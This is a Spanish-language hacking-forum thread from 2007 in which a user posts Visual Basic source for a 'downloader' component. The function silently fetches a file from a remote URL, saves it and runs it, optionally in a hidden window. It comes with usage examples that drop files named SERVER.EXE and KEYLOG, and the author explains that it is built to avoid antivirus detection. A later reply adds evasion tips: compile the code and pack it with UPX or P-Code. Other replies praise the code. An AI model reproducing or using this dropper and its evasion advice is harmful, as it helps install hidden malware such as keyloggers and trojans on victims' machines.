[Source] Downloader sin API's sin DLL's sin OCX's... solo una Función!

Iniciado por Mad Antrax, 19 Mayo 2007, 01:29 AM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll

El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:

Module1.bas
Código (vb) [Seleccionar]

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
'
'Uso de la función:
'   DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
'   Return Value = Boolean (indica si se ha descargado o no el archivo)
'
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
   
    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")

    XML.Open "GET", URL, False
    XML.send
   
    XML.getAllResponseHeaders
   
    FullSavePath = Environ(SavePath) & "\" & SaveName
   
    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2
   
    If Err Then
        DownloadFile = False
    Else
        If RunAfterDownload = True Then
            If RunHide = True Then
                Shell FullSavePath, vbHide
            Else
                Shell FullSavePath, vbNormalFocus
            End If
        End If
        DownloadFile = True
    End If
End Function


Y para llamarla desde un Form o desde otra función:

Código (vb) [Seleccionar]

Private Sub Command1_Click()
    File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
End Sub


El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:

DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana

DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta

DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.

Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

3k1n0x

wow tenia varios dias en el foro, me acabo de registrar y justo buscaba algo asi, muy buena  ;D saludos
T3fL0n -> 3k1n0x

Jareth

Que bueno ||MadAntrax||,deberian hacer una recopilacion de todos tus donaciones(que son muchas)y de otros users que tambien etsan posteando sources.

~~

Muy weno la verdad, a ver si sale ya ese Cactus Donwloader ;)

sp26

Si te das cuenta, al guardar ese codigo en un Modulo BAS y lo guardas (No copilar), los antivirus lo detectan como Troyano.

Si quieres haz la prueba y subelo a VirusTotal.

Mad Antrax

Cita de: sp26 en 19 Mayo 2007, 19:08 PM
Si te das cuenta, al guardar ese codigo en un Modulo BAS y lo guardas (No copilar), los antivirus lo detectan como Troyano.

Si quieres haz la prueba y subelo a VirusTotal.

Sí, es cierto ,esto ocurre porque los objectos Microsoft.XMLHTTP y ADODB.Stream pueden usarse en archivos VBScripting (como en VBS, VBE, HTML, etc...) permitiendo crear un downloader en texto plano, por eso algunos AntiVirus detectará en código fuente como "virus".

Pero no te preocupes por eso, si lo compilas (creas el EXE) los Antivirus por ahora no lo detectan, y siempre puedes terminar comprimiendo tu ejecutable en UPX o compilando a P-Code para dificultar su detección.

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

~~

CitarQue bueno ||MadAntrax||,deberian hacer una recopilacion de todos tus donaciones(que son muchas)y de otros users que tambien etsan posteando sources.

Seria una wena idea q algun moderador global reopilara sus codigos, verdad ||MadAntrax||  :xD :xD :xD :xD

Mad Antrax

Cita de: E0N en 19 Mayo 2007, 19:27 PM
Seria una wena idea q algun moderador global reopilara sus codigos, verdad ||MadAntrax||

Por una simple cuestión de igualdad, no creo que sea justo que se recopilen mis sources simplemente porque tenga el "poder" de hacerlo. Si algun usuario quiere mis sources solo tiene que usar el buscador y filtrar por mi usuario en el subforo de VB, no?

Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Jareth

Bueno,yo lo que digo es que aparte de todos tus aportes hay mas usuarios qeu han aportado como E0N y seria bueno tener todos esos aportes recopilados.
Y lo que tu dices de buscar yo no lo veo asi,se puede buscar cuando se sabe lo que uno quiere pero imaginate que uno no sabe lo que es Melt,pero lo ve y ve que le puede interesar,pues asi con muchos aportes,que se estan perdiendo entre los posts.
Saludos.

vivachapas

creo q seria muy interesante crear una "biblioteca de codes de VB"...

y q alguien se encargue de ver q codes entran... y por ejemplo q alguien quiere poner uno q antes sea revisado para ver si esta bien y si realmente es util...

;)

muy buen manual